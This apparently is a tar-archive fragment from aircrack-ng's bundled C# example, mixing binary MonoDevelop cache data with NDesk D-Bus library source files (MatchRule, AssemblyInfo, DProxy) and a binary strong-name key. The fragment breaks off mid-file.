subclassesflagsctype modifiers typeModifier System.Collections.ArrayList3MonoDevelop.Projects.Dom.Serialization.ContentFlags"MonoDevelop.Projects.Dom.ClassType"MonoDevelop.Projects.Dom.Modifiers%MonoDevelop.Projects.Dom.TypeModifierLõ NDesk.DBusöSignal  ÿÿÿ3MonoDevelop.Projects.Dom.Serialization.ContentFlagsvalue__Nÿÿÿ"MonoDevelop.Projects.Dom.ClassTypevalue__ÿÿÿ"MonoDevelop.Projects.Dom.Modifiersvalue__ÿÿÿ%MonoDevelop.Projects.Dom.TypeModifiervalue__4 õüError ÿÿÿ ÿÿÿNÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ õ MethodReturn ýþÿÿ ÿÿÿNüþÿÿÿÿÿûþÿÿÿÿÿúþÿÿÿÿÿ¯ õ MethodCall ÷þÿÿ ÿÿÿNöþÿÿÿÿÿõþÿÿÿÿÿôþÿÿÿÿÿ [  NDesk.DBus.Transports UnixTransport ñþÿÿ ÿÿÿðþÿÿÿÿÿïþÿÿÿÿÿîþÿÿÿÿÿ#º NDesk.DBusTypeImplementer ëþÿÿ ÿÿÿêþÿÿÿÿÿéþÿÿÿÿÿ‚èþÿÿÿÿÿ&îNDesk.DBus.Transports Transport äþÿÿ ÿÿÿ8ãþÿÿÿÿÿâþÿÿÿÿÿáþÿÿÿÿÿ)˜ NDesk.DBus.Transports!SocketTransport Þþÿÿ ÿÿÿÝþÿÿÿÿÿÜþÿÿÿÿÿÛþÿÿÿÿÿ,!& NDesk.DBus'DType Øþÿÿ ÿÿÿ×þÿÿÿÿÿÖþÿÿÿÿÿÕþÿÿÿÿÿ/ö$ &- ArgDirection Òþÿÿ ÿÿÿÑþÿÿÿÿÿÐþÿÿÿÿÿÏþÿÿÿÿÿ2'& &3 Signature Ìþÿÿ ÿÿÿxNËþÿÿÿÿÿÊþÿÿÿÿÿBÉþÿÿÿÿÿ568 NDesk.DBus9Protocol Æþÿÿ ÿÿÿNÅþÿÿÿÿÿÄþÿÿÿÿÿ‚Ãþÿÿÿÿÿ8¹: 8? ObjectPath Àþÿÿ ÿÿÿ8N¿þÿÿÿÿÿ¾þÿÿÿÿÿH½þÿÿÿÿÿ;!> 8E HeaderFlag ºþÿÿ ÿÿÿ¹þÿÿÿÿÿ¸þÿÿÿÿÿ·þÿÿÿÿÿ>¬? 8K EndianFlag ´þÿÿ ÿÿÿ³þÿÿÿÿÿ²þÿÿÿÿÿ±þÿÿÿÿÿAÞ@ 8Q FieldCode ®þÿÿ ÿÿÿ­þÿÿÿÿÿ¬þÿÿÿÿÿ«þÿÿÿÿÿD C 8W MessageType ¨þÿÿ ÿÿÿ§þÿÿÿÿÿ¦þÿÿÿÿÿ¥þÿÿÿÿÿG®D 8]Header ¢þÿÿ ÿÿÿ¡þÿÿÿÿÿ þÿÿÿÿÿBŸþÿÿÿÿÿJkGb NDesk.DBusc PendingCall œþÿÿ ÿÿÿ¨N›þÿÿÿÿÿšþÿÿÿÿÿ™þÿÿÿÿÿMŠJh NDesk.DBusiAddress –þÿÿ ÿÿÿ8•þÿÿÿÿÿ”þÿÿÿÿÿ‚“þÿÿÿÿÿP‘M ho AddressEntry þÿÿ ÿÿÿþÿÿÿÿÿŽþÿÿÿÿÿþÿÿÿÿÿStP huBadAddressException Šþÿÿ ÿÿÿN‰þÿÿÿÿÿˆþÿÿÿÿÿ‡þÿÿÿÿÿVÆQz NDesk.DBus{ MessageFilter „þÿÿ ÿÿÿƒþÿÿÿÿÿ‚þÿÿÿÿÿþÿÿÿÿÿYMT€ NDesk.DBusMessage ~þÿÿ ÿÿÿ8N}þÿÿÿÿÿ|þÿÿÿÿÿ{þÿÿÿÿÿ\X† NDesk.DBus‡ MatchRule xþÿÿ ÿÿÿNwþÿÿÿÿÿvþÿÿÿÿÿuþÿÿÿÿÿ_»]Œ NDesk.DBus Introspector rþÿÿ ÿÿÿNqþÿÿÿÿÿpþÿÿÿÿÿoþÿÿÿÿÿbag’ NDesk.DBus“ ExportObject lþÿÿ ÿÿÿ:Nkþÿÿÿÿÿjþÿÿÿÿÿiþÿÿÿÿÿe\j˜ NDesk.DBus™DProxy fþÿÿ ÿÿÿNeþÿÿÿÿÿdþÿÿÿÿÿcþÿÿÿÿÿhKožorg.freedesktop.DBusŸIBus `þÿÿ ÿÿÿ’_þÿÿÿÿÿ^þÿÿÿÿÿ]þÿÿÿÿÿk»w ž¥ Properties ¦Yþÿÿ ÿÿÿXþÿÿÿÿÿWþÿÿÿÿÿVþÿÿÿÿÿnS{ ž¬Introspectable ­Rþÿÿ ÿÿÿQþÿÿÿÿÿPþÿÿÿÿÿOþÿÿÿÿÿqz} ž³Peer Lþÿÿ ÿÿÿKþÿÿÿÿÿJþÿÿÿÿÿIþÿÿÿÿÿt͸¹NameLostHandler Fþÿÿ ÿÿÿ EþÿÿÿÿÿDþÿÿÿÿÿCþÿÿÿÿÿwæ€ ¸¿NameAcquiredHandler @þÿÿ ÿÿÿ ?þÿÿÿÿÿ>þÿÿÿÿÿ=þÿÿÿÿÿz‚ ¸ÅNameOwnerChangedHandler :þÿÿ ÿÿÿ 9þÿÿÿÿÿ8þÿÿÿÿÿ7þÿÿÿÿÿ}`ƒ žË StartReply 4þÿÿ ÿÿÿ3þÿÿÿÿÿ2þÿÿÿÿÿ1þÿÿÿÿÿ€¤„ žÑReleaseNameReply .þÿÿ ÿÿÿ-þÿÿÿÿÿ,þÿÿÿÿÿ+þÿÿÿÿÿƒ† ž×RequestNameReply (þÿÿ ÿÿÿ'þÿÿÿÿÿ&þÿÿÿÿÿ%þÿÿÿÿÿ†Ÿ‡ žÝNameFlag "þÿÿ ÿÿÿ!þÿÿÿÿÿ þÿÿÿÿÿþÿÿÿÿÿ‰X‰â NDesk.DBusã Connection äþÿÿ ÿÿÿ8NþÿÿÿÿÿþÿÿÿÿÿþÿÿÿÿÿŒ£›é NDesk.DBusê BusObject ëþÿÿ ÿÿÿ8Nþÿÿÿÿÿþÿÿÿÿÿþÿÿÿÿÿ¾¤ð NDesk.DBusñBus þÿÿ ÿÿÿ:N þÿÿÿÿÿ þÿÿÿÿÿH þÿÿÿÿÿ’ó®öNDesk.DBus.Authentication÷ SaslClient þÿÿ ÿÿÿNþÿÿÿÿÿþÿÿÿÿÿþÿÿÿÿÿ•U³ öý ServerState þÿÿ ÿÿÿþÿÿÿÿÿþÿÿÿÿÿÿýÿÿÿÿÿ˜Û´ ö ClientState üýÿÿ ÿÿÿûýÿÿÿÿÿúýÿÿÿÿÿùýÿÿÿÿÿ›`¶org.freedesktop  Notifications öýÿÿ ÿÿÿõýÿÿÿÿÿôýÿÿÿÿÿóýÿÿÿÿÿž·º ServerInformation ðýÿÿ ÿÿÿïýÿÿÿÿÿîýÿÿÿÿÿHíýÿÿÿÿÿ¡0MonoDevelop.Projects.Dom.Serialization.FileEntryfilePath parseTimeparseErrorRetries commentTasksclasses ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]  óÍÒœ«ý͈  ¤¡ £y;8¨Éˆ  §¡ ¦y;8¨Éˆ  ª¡ ©®žwwÝɈ  Œ­¡ ¬®žwwÝɈ  ‰°¡ ¯©4B_©Éˆ # $³¡ ²y;8¨Éˆ & e¶¡ µ®žwwÝɈ ) b¹¡ ¸Øó‚ßÎøÍˆ , _¼¡ »®žwwÝɈ ¿¡ ¾y;8¨Éˆ 0 \¡ Áy;8¨Éˆ 3 YÅ¡ Äy;8¨Éˆ 6 VÈ¡ Çy;8¨Éˆ Ë¡ Ê®žwwÝɈ Ρ Íy;8¨Éˆ ; <Ñ¡ ÐD¶P&ÚɈ > JÔ¡ Óy;8¨Éˆ A Bס Öy;8¨Éˆ D EÚ¡ Ùy;8¨Éˆ G )Ý¡ Üy;8¨Éˆ J &à¡ ßD¶P&ÚɈ M #ã¡ ây;8¨Éˆ æ¡ åy;8¨Éˆ Q é¡ èy;8¨Éˆ T Uì¡ ëÍó ñÏøÍˆ W XïSystem.Collections.ArrayList_items_size_version Yðï Zï [¦ï \­ï ]äï ^ëï _ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_versionMonoDevelop.Projects.Dom.Tag[] ` `1MonoDevelop.Projects.Dom.Serialization.ClassEntry ˜ • ’ d e   f# `$ 1MonoDevelop.Projects.Dom.Serialization.ClassEntry † ƒ € } z w t q n k h& s) t, u0 v3 w6 x; `<1MonoDevelop.Projects.Dom.Serialization.ClassEntry S P M> `A `B1MonoDevelop.Projects.Dom.Serialization.ClassEntry G D A > ; 8 5D … E1MonoDevelop.Projects.Dom.Serialization.ClassEntry 2 / ,G ‰J ŠM `Q `T ŒU1MonoDevelop.Projects.Dom.Serialization.ClassEntry    W `X1MonoDevelop.Projects.Dom.Serialization.ClassEntry ž ›Y e Z S [ – — ) ) \ › › ]  › › h^ ¡ _ £ b `MonoDevelop.Projects.Dom.TagdMonoDevelop.Projects.Dom.Tag ¥ ¦ § eMonoDevelop.Projects.Dom.Tag ¨ © ª « ¬ ­ ® ¯ ° fMonoDevelop.Projects.Dom.Tag ± ² ³ ´ µ ¶ · ¸ ¹ º » ¼ ½ ¾ ¿ sMonoDevelop.Projects.Dom.Tag À tMonoDevelop.Projects.Dom.Tag Á Â Ã Ä Å uMonoDevelop.Projects.Dom.Tag Æ Ç È É Ê Ë Ì ÍvMonoDevelop.Projects.Dom.Tag Î Ï Ð Ñ Ò wMonoDevelop.Projects.Dom.Tag Ó Ô xMonoDevelop.Projects.Dom.Tag Õ …MonoDevelop.Projects.Dom.Tag Ö × Ø Ù Ú Û Ü Ý Þ ß ‰MonoDevelop.Projects.Dom.Tag à ŠMonoDevelop.Projects.Dom.Tag á ŒMonoDevelop.Projects.Dom.Tag â ã ä å æ –ÿÿÿÿÿÿÿÿçNDesk.DBus.Transportsè UnixTransport ýÿÿ ÿÿÿýÿÿÿÿÿýÿÿÿÿÿýÿÿÿÿÿ—ÿÿÿÿÿÿÿÿíNDesk.DBus.TransportsîSocketTransport ýÿÿ ÿÿÿýÿÿÿÿÿýÿÿÿÿÿýÿÿÿÿÿ›ÿÿÿÿÿÿÿÿóorg.freedesktopô Notifications  ýÿÿ ÿÿÿ ýÿÿÿÿÿ ýÿÿÿÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿùorg.freedesktop.DBusúIBus ýÿÿ ÿÿÿ’ýÿÿÿÿÿýÿÿÿÿÿýÿÿÿÿÿ¡ÿÿÿÿÿÿÿÿÿ NDesk.DBusBus ÿüÿÿ ÿÿÿ:NþüÿÿÿÿÿýüÿÿÿÿÿHüüÿÿÿÿÿ£ÿÿÿÿÿÿÿÿ NDesk.DBus ExportObject ùüÿÿ ÿÿÿ:Nøüÿÿÿÿÿ÷üÿÿÿÿÿöüÿÿÿÿÿ¥MonoDevelop.Projects.Dom.Tagkey Comment+k__BackingField#Comment+k__BackingFieldComment+k__BackingFieldComment+k__BackingField(Comment+k__BackingField*Comment+k__BackingField$Comment+k__BackingField"MonoDevelop.Projects.Dom.DomRegion$MonoDevelop.Projects.Dom.CommentType TODO  ?TODO: parsing of starter bus type, or maybe do this another wayóüÿÿ"MonoDevelop.Projects.Dom.DomRegionstartend$MonoDevelop.Projects.Dom.DomLocation$MonoDevelop.Projects.Dom.DomLocationòüÿÿ$MonoDevelop.Projects.Dom.DomLocationk__BackingFieldk__BackingField3ñüÿÿòüÿÿ3Dðüÿÿ$MonoDevelop.Projects.Dom.CommentTypevalue__¦¥  0TODO: use the guid, not the whole address stringíüÿÿóüÿÿìüÿÿòüÿÿFëüÿÿòüÿÿF5êüÿÿðüÿÿ§¥  =TODO: consider what happens when a connection has been closedçüÿÿóüÿÿæüÿÿòüÿÿGåüÿÿòüÿÿGBäüÿÿðüÿÿ¨¥  )TODO: don't ignore retVal, exception etc.áüÿÿóüÿÿàüÿÿòüÿÿOßüÿÿòüÿÿO/Þüÿÿðüÿÿ©¥  $)TODO: don't ignore retVal, exception etc.ÛüÿÿóüÿÿÚüÿÿòüÿÿ`Ùüÿÿòüÿÿ`/Øüÿÿðüÿÿª¥  *$TODO: complete out parameter supportÕüÿÿóüÿÿÔüÿÿòüÿÿkÓüÿÿòüÿÿk*Òüÿÿðüÿÿ«¥  0TODO: don't hard code thisÏüÿÿóüÿÿÎüÿÿòüÿÿyÍüÿÿòüÿÿy Ìüÿÿðüÿÿ¬¥  6TODO: typed exceptionsÉüÿÿóüÿÿÈüÿÿòüÿÿšÇüÿÿòüÿÿšÆüÿÿðüÿÿ­¥  <DTODO: this needs to be done properly, not with simple String.ReplaceÃüÿÿóüÿÿÂüÿÿòüÿÿÊÁüÿÿòüÿÿÊKÀüÿÿðüÿÿ®¥  B$TODO: complete out parameter support½üÿÿóüÿÿ¼üÿÿòüÿÿà»üÿÿòüÿÿà*ºüÿÿðüÿÿ¯¥  HTODO: don't hard code this·üÿÿóüÿÿ¶üÿÿòüÿÿîµüÿÿòüÿÿî ´üÿÿðüÿÿ°¥  NTODO: typed exceptions±üÿÿóüÿÿ°üÿÿòüÿÿ ¯üÿÿòüÿÿ ®üÿÿðüÿÿ±¥  TTODO: reconsider this field«üÿÿóüÿÿªüÿÿòüÿÿ©üÿÿòüÿÿ ¨üÿÿðüÿÿ²¥  ZTODO: clean this bit up¥üÿÿóüÿÿ¤üÿÿòüÿÿ%£üÿÿòüÿÿ%¢üÿÿðüÿÿ³¥  `)TODO: try alternative addresses if neededŸüÿÿóüÿÿžüÿÿòüÿÿMüÿÿòüÿÿM/œüÿÿðüÿÿ´¥  fTODO: clean this bit up™üÿÿóüÿÿ˜üÿÿòüÿÿR—üÿÿòüÿÿR–üÿÿðüÿÿµ¥  l Outbound = new Queue (); public void Flush () { //should just iterate the enumerator here while (Outbound.Count != 0) { Message msg = Outbound.Dequeue (); WriteMessage (msg); } } public bool ReadWrite (int timeout_milliseconds) { //TODO return true; } public bool ReadWrite () { return ReadWrite (-1); } public bool Dispatch () { //TODO Message msg = Inbound.Dequeue (); //HandleMessage (msg); return true; } public bool ReadWriteDispatch (int timeout_milliseconds) { //TODO return Dispatch (); } public bool ReadWriteDispatch () { return ReadWriteDispatch (-1); } */üÿÿóüÿÿŒüÿÿòüÿÿ¢‹üÿÿòüÿÿÍŠüÿÿðüÿÿ·¥  xMTODO: support disconnection situations properly and move this check elsewhere‡üÿÿóüÿÿ†üÿÿòüÿÿ;…üÿÿòüÿÿ;S„üÿÿðüÿÿ¸¥  ~TODO: better exception handlingüÿÿóüÿÿ€üÿÿòüÿÿ_üÿÿòüÿÿ_'~üÿÿðüÿÿ¹¥  „>TODO: this is a hack, not necessary when MatchRule is complete{üÿÿóüÿÿzüÿÿòüÿÿwyüÿÿòüÿÿwDxüÿÿðüÿÿº¥  Š_TODO: how should we handle this condition? sending an Error may not be appropriate in this caseuüÿÿóüÿÿtüÿÿòüÿÿ‡süÿÿòüÿÿ‡früÿÿðüÿÿ»¥  ƒTODO: Ping and Introspect need to be abstracted and moved somewhere more appropriate once message filter infrastructure is completeoüÿÿóüÿÿnüÿÿòüÿÿšmüÿÿòüÿÿš‰lüÿÿðüÿÿ¼¥•FIXME –~FIXME: these special cases are slightly broken for the case where the member but not the interface is specified in the messageiüÿÿóüÿÿhüÿÿòüÿÿœgüÿÿòüÿÿœ„füÿÿðüÿÿ½¥ • œFIXME: do this properlycüÿÿóüÿÿbüÿÿòüÿÿ¨aüÿÿòüÿÿ¨`üÿÿðüÿÿ¾¥ • ¢-FIXME: this shouldn't be part of the core API]üÿÿóüÿÿ\üÿÿòüÿÿÏ[üÿÿòüÿÿÏ2Züÿÿðüÿÿ¿¥  ¨­TODO: implement some kind of tree data structure or internal object hierarchy. right now we are ignoring the name and putting all object paths in one namespace, which is badWüÿÿóüÿÿVüÿÿòüÿÿûUüÿÿòüÿÿû³TüÿÿðüÿÿÀ¥ • ®'FIXME: remove handlers/match rules hereQüÿÿóüÿÿPüÿÿòüÿÿJOüÿÿòüÿÿJ-NüÿÿðüÿÿÁ¥  ´;TODO: perhaps ExportObject should not derive from BusObjectKüÿÿóüÿÿJüÿÿòüÿÿ Iüÿÿòüÿÿ ?HüÿÿðüÿÿÂ¥  º=TODO: there is no member name mapping for properties etc. yetEüÿÿóüÿÿDüÿÿòüÿÿ3Cüÿÿòüÿÿ3CBüÿÿðüÿÿÃ¥  À(TODO: complete exception sending support?üÿÿóüÿÿ>üÿÿòüÿÿE=üÿÿòüÿÿE/<üÿÿðüÿÿÄ¥  ÆWTODO: we should be more strict here, but this fallback was added as a quick fix for p2p9üÿÿóüÿÿ8üÿÿòüÿÿO7üÿÿòüÿÿO^6üÿÿðüÿÿÅ¥  Ì~ public void Ping () { } public string GetMachineId () { //TODO: implement this return String.Empty; } */3üÿÿóüÿÿ2üÿÿòüÿÿ]1üÿÿòüÿÿg0üÿÿðüÿÿÆ¥  ÒTODO: complete this class-üÿÿóüÿÿ,üÿÿòüÿÿ+üÿÿòüÿÿ*üÿÿðüÿÿÇ¥  Ø`TODO: non-well-known introspection has paths as well, which we don't do yet. read the spec again'üÿÿóüÿÿ&üÿÿòüÿÿ^%üÿÿòüÿÿ^f$üÿÿðüÿÿÈ¥  Þ>TODO: review recursion of interfaces and inheritance hierarchy!üÿÿóüÿÿ üÿÿòüÿÿnüÿÿòüÿÿnDüÿÿðüÿÿÉ¥  ä8TODO: clean up and get rid of reverse (or argIsOut) parmüÿÿóüÿÿüÿÿòüÿÿ}üÿÿòüÿÿ}=üÿÿðüÿÿÊ¥  ê:TODO: avoid writing null (DType.Invalid) to the XML streamüÿÿóüÿÿüÿÿòüÿÿ’üÿÿòüÿÿ’@üÿÿðüÿÿË¥  ð TODO: this is unreliable, fix itüÿÿóüÿÿüÿÿòüÿÿá üÿÿòüÿÿá& üÿÿðüÿÿÌ¥  öTODO: indexers üÿÿóüÿÿüÿÿòüÿÿüÿÿòüÿÿüÿÿðüÿÿÍ¥  ü TODO: attributes as annotations?üÿÿóüÿÿüÿÿòüÿÿ üÿÿòüÿÿ &üÿÿðüÿÿÎ¥  *TODO: see why path comparison doesn't workýûÿÿóüÿÿüûÿÿòüÿÿ:ûûÿÿòüÿÿ:0úûÿÿðüÿÿÏ¥ • FIXME: do args÷ûÿÿóüÿÿöûÿÿòüÿÿEõûÿÿòüÿÿEôûÿÿðüÿÿÐ¥ • FIXME: not at all optimalñûÿÿóüÿÿðûÿÿòüÿÿLïûÿÿòüÿÿLîûÿÿðüÿÿÑ¥ • FIXME: do argsëûÿÿóüÿÿêûÿÿòüÿÿ’éûÿÿòüÿÿ’èûÿÿðüÿÿÒ¥  $TODO: more consistent error handlingåûÿÿóüÿÿäûÿÿòüÿÿºãûÿÿòüÿÿº+âûÿÿðüÿÿÓ¥   )TODO: is this the right place to do this?ßûÿÿóüÿÿÞûÿÿòüÿÿ/ÝûÿÿòüÿÿZÜûÿÿðüÿÿÔ¥  &TODO: make use of LockedÙûÿÿóüÿÿØûÿÿòüÿÿ;×ûÿÿòüÿÿ;ÖûÿÿðüÿÿÕ¥  ,JTODO: remove this -- left here for the benefit of the monitor tool for nowÓûÿÿóüÿÿÒûÿÿòüÿÿ4Ñûÿÿòüÿÿ4OÐûÿÿðüÿÿÖ¥  2ATODO: Reflection should be done at a higher level than this classÍûÿÿóüÿÿÌûÿÿòüÿÿ Ëûÿÿòüÿÿ DÊûÿÿðüÿÿ×¥  8 TODO: this class needs some workÇûÿÿóüÿÿÆûÿÿòüÿÿÅûÿÿòüÿÿ%ÄûÿÿðüÿÿØ¥  >´ //TODO: remove this hack to handle bad case when Data is null if (a.data == null || b.data == null) throw new Exception ("Encountered Signature with null buffer"); */ÁûÿÿóüÿÿÀûÿÿòüÿÿ¿ûÿÿòüÿÿ¾ûÿÿðüÿÿÙ¥  DHTODO: this should be private, but MessageWriter and Monitor still use it»ûÿÿóüÿÿºûÿÿòüÿÿv¹ûÿÿòüÿÿvM¸ûÿÿðüÿÿÚ¥ • Jn //FIXME: hack to handle bad case when Data is null if (data == null) return String.Empty; */µûÿÿóüÿÿ´ûÿÿòüÿÿ³ûÿÿòüÿÿ“²ûÿÿðüÿÿÛ¥  P“ //TODO: complete this public bool IsPrimitive { get { if (this == Signature.Empty) return true; return false; } } */¯ûÿÿóüÿÿ®ûÿÿòüÿÿÙ­ûÿÿòüÿÿä¬ûÿÿðüÿÿÜ¥  VTODO: improve this©ûÿÿóüÿÿ¨ûÿÿòüÿÿ§ûÿÿòüÿÿ¦ûÿÿðüÿÿÝ¥ • \(FIXME: this method is bad, get rid of it£ûÿÿóüÿÿ¢ûÿÿòüÿÿL¡ûÿÿòüÿÿL- ûÿÿðüÿÿÞ¥  b#TODO: maybe throw an exception hereûÿÿóüÿÿœûÿÿòüÿÿp›ûÿÿòüÿÿp)šûÿÿðüÿÿߥ  hKTODO: remove Struct and DictEntry -- they are not relevant to wire protocol—ûÿÿóüÿÿ–ûÿÿòüÿÿ.•ûÿÿòüÿÿ.P”ûÿÿðüÿÿॠ nTODO: use Socket directly‘ûÿÿóüÿÿûÿÿòüÿÿ#ûÿÿòüÿÿ#Žûÿÿðüÿÿᥠ tTODO: design this properly‹ûÿÿóüÿÿŠûÿÿòüÿÿ.‰ûÿÿòüÿÿ.ˆûÿÿðüÿÿ⥠ z,TODO: complete and use these wrapper classes…ûÿÿóüÿÿ„ûÿÿòüÿÿ ƒûÿÿòüÿÿ 0‚ûÿÿðüÿÿ㥠• €FFIXME: signature sending/receiving is currently ambiguous in this codeûÿÿóüÿÿ~ûÿÿòüÿÿ}ûÿÿòüÿÿJ|ûÿÿðüÿÿä¥ • †uFIXME: in fact, these classes are totally broken and end up doing no-op, do not use without understanding the problemyûÿÿóüÿÿxûÿÿòüÿÿwûÿÿòüÿÿyvûÿÿðüÿÿå¥  Œ5TODO: consider setting Sender here for p2p situationssûÿÿóüÿÿrûÿÿòüÿÿqûÿÿòüÿÿ;pûÿÿðüÿÿæ¥  ’=TODO: filled by the bus so reliable, but not the case for p2pmûÿÿóüÿÿlûÿÿòüÿÿ/kûÿÿòüÿÿ/Cjûÿÿðüÿÿ C¼aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/MatchRule.cs0000644000000000000000000001207611600013506023343 0ustar rootroot// Copyright 2007 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; namespace NDesk.DBus { //delegate void MessageHandler (Message msg); class MatchRule { public MessageType? MessageType; public string Interface; public string Member; public ObjectPath Path; public string Sender; public string Destination; public readonly SortedDictionary Args = new SortedDictionary (); public MatchRule () { } void Append (StringBuilder sb, string key, string value) { if (sb.Length != 0) sb.Append (","); sb.Append (key + "='"); sb.Append (value); sb.Append ("'"); } void AppendArg (StringBuilder sb, int index, string value) { Append (sb, "arg" + index, value); } public override bool Equals (object o) { MatchRule r = o as MatchRule; if (r == null) return false; if (r.MessageType != MessageType) return false; if (r.Interface != Interface) return false; if (r.Member != Member) return false; //TODO: see why path comparison doesn't work if (r.Path.Value != Path.Value) //if (r.Path != Path) return false; if (r.Sender != Sender) return false; if (r.Destination != Destination) return false; //FIXME: do args return true; } public override int GetHashCode () { //FIXME: not at all optimal return ToString ().GetHashCode (); } public override string ToString () { StringBuilder sb = new StringBuilder (); if (MessageType != null) Append (sb, "type", MessageFilter.MessageTypeToString ((MessageType)MessageType)); if (Interface != null) Append (sb, "interface", Interface); if (Member != null) Append (sb, "member", Member); if (Path != null) //Append (sb, "path", Path.ToString ()); Append (sb, "path", Path.Value); if (Sender != null) Append (sb, "sender", Sender); if (Destination != null) Append (sb, "destination", Destination); if (Args != null) { foreach (KeyValuePair pair in Args) AppendArg (sb, pair.Key, pair.Value); } return sb.ToString (); } //this is useful as a Predicate delegate public bool Matches (Message msg) { if (MessageType != null) if (msg.Header.MessageType != MessageType) return false; object value; if (Interface != null) if (msg.Header.Fields.TryGetValue (FieldCode.Interface, out value)) if ((string)value != Interface) return false; if (Member != null) if (msg.Header.Fields.TryGetValue (FieldCode.Member, out value)) if ((string)value != Member) return false; if (Path != null) if (msg.Header.Fields.TryGetValue (FieldCode.Path, out value)) //if ((ObjectPath)value != Path) if (((ObjectPath)value).Value != Path.Value) return false; if (Sender != null) if (msg.Header.Fields.TryGetValue (FieldCode.Sender, out value)) if ((string)value != Sender) return false; if (Destination != null) if (msg.Header.Fields.TryGetValue (FieldCode.Destination, out value)) if ((string)value != Destination) return false; //FIXME: do args return true; } //this could be made more efficient public static MatchRule Parse (string text) { MatchRule r = new MatchRule (); foreach (string propStr in text.Split (',')) { string[] parts = propStr.Split ('='); if (parts.Length < 2) throw new Exception ("No equals sign found"); if (parts.Length > 2) throw new Exception ("Too many equals signs found"); string key = parts[0].Trim (); string value = parts[1].Trim (); if (!value.StartsWith ("'") || !value.EndsWith ("'")) throw new Exception ("Too many equals signs found"); value = value.Substring (1, value.Length - 2); if (key.StartsWith ("arg")) { int argnum = Int32.Parse (key.Remove (0, "arg".Length)); if (argnum < 0 || argnum > 63) throw new Exception ("arg match must be between 0 and 63 inclusive"); if (r.Args.ContainsKey (argnum)) return null; r.Args[argnum] = value; continue; } //TODO: more consistent error handling switch (key) { case "type": if (r.MessageType != null) return null; r.MessageType = MessageFilter.StringToMessageType (value); break; case "interface": if (r.Interface != null) return null; r.Interface = value; break; case "member": if (r.Member != null) return null; r.Member = value; break; case "path": if (r.Path != null) return null; r.Path = new ObjectPath (value); break; case "sender": if (r.Sender != null) return null; r.Sender = value; break; case "destination": if (r.Destination != null) return null; r.Destination = value; break; default: if (Protocol.Verbose) Console.Error.WriteLine ("Warning: Unrecognized match rule key: " + key); break; } } return r; } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/ndesk.snk0000644000000000000000000000035411600013506022745 0ustar rootroot$RSA2€ÿ¿ªdTeMç‚—ýâÒ-Ô¼Kvú‰,?…u­OŒàräŸT)6;Ä݃¾_—‘tRcîi¸?DZÊáÑAh(H¿›ó–Òë¹§2†™$Ñ•¤ñêw‹^EÑùá@¹Ý¤*ÐäiGICD™ƒ„Á.–!@a6t½2 m®ÆÏ§žd>ù7}Gç•ù.uAU@;ÂtKÐd_š'X<{¾ ¯q§µa¦ÑfM6Ï[ÿõ™§ùÆÛ¸•Ã/˜’Š5on *RÒ­çel~ÆÑðjaircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/AssemblyInfo.cs0000644000000000000000000000260711600013506024051 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System.Reflection; using System.Runtime.CompilerServices; [assembly: AssemblyFileVersion("0.6.0")] [assembly: AssemblyInformationalVersion("0.6.0")] [assembly: AssemblyVersion("0.6.0")] [assembly: AssemblyTitle ("NDesk.DBus")] [assembly: AssemblyDescription ("D-Bus IPC protocol library and CLR binding")] [assembly: AssemblyCopyright ("Copyright (C) Alp Toker")] [assembly: AssemblyCompany ("NDesk")] #if STRONG_NAME [assembly: InternalsVisibleTo ("dbus-monitor, PublicKey=0024000004800000440000000602000000240000525341318001000011000000ffbfaa640454654de78297fde2d22dd4bc4b0476fa892c3f8575ad4f048ce0721ce4109f542936083bc4dd83be5f7f97")] [assembly: InternalsVisibleTo ("NDesk.DBus.GLib, PublicKey=0024000004800000440000000602000000240000525341318001000011000000ffbfaa640454654de78297fde2d22dd4bc4b0476fa892c3f8575ad4f048ce0721ce4109f542936083bc4dd83be5f7f97")] [assembly: InternalsVisibleTo ("NDesk.DBus.Proxies, PublicKey=0024000004800000440000000602000000240000525341318001000011000000ffbfaa640454654de78297fde2d22dd4bc4b0476fa892c3f8575ad4f048ce0721ce4109f542936083bc4dd83be5f7f97")] #else [assembly: InternalsVisibleTo ("dbus-monitor")] [assembly: InternalsVisibleTo ("NDesk.DBus.GLib")] [assembly: InternalsVisibleTo ("NDesk.DBus.Proxies")] #endif aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/DProxy.cs0000644000000000000000000000470511600013506022704 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Runtime.Remoting.Proxies; using System.Runtime.Remoting.Messaging; namespace NDesk.DBus { //marked internal because this is really an implementation detail and needs to be replaced internal class DProxy : RealProxy { protected BusObject busObject; public DProxy (BusObject busObject, Type type) : base(type) { this.busObject = busObject; } static MethodInfo mi_GetHashCode = typeof (object).GetMethod ("GetHashCode"); static MethodInfo mi_Equals = typeof (object).GetMethod ("Equals", BindingFlags.Instance); static MethodInfo mi_ToString = typeof (object).GetMethod ("ToString"); static MethodInfo mi_GetLifetimeService = typeof (MarshalByRefObject).GetMethod ("GetLifetimeService"); object GetDefaultReturn (MethodBase mi, object[] inArgs) { if (mi == mi_GetHashCode) return busObject.Path.Value.GetHashCode (); if (mi == mi_Equals) return busObject.Path.Value == ((BusObject)((MarshalByRefObject)inArgs[0]).GetLifetimeService ()).Path.Value; if (mi == mi_ToString) return busObject.Path.Value; if (mi == mi_GetLifetimeService) return busObject; return null; } public override IMessage Invoke (IMessage message) { IMethodCallMessage callMessage = (IMethodCallMessage) message; object defaultRetVal = GetDefaultReturn (callMessage.MethodBase, callMessage.InArgs); if (defaultRetVal != null) { MethodReturnMessageWrapper defaultReturnMessage = new MethodReturnMessageWrapper ((IMethodReturnMessage) message); defaultReturnMessage.ReturnValue = defaultRetVal; return defaultReturnMessage; } object[] outArgs; object retVal; Exception exception; busObject.Invoke (callMessage.MethodBase, callMessage.MethodName, callMessage.InArgs, out outArgs, out retVal, out exception); MethodReturnMessageWrapper returnMessage = new 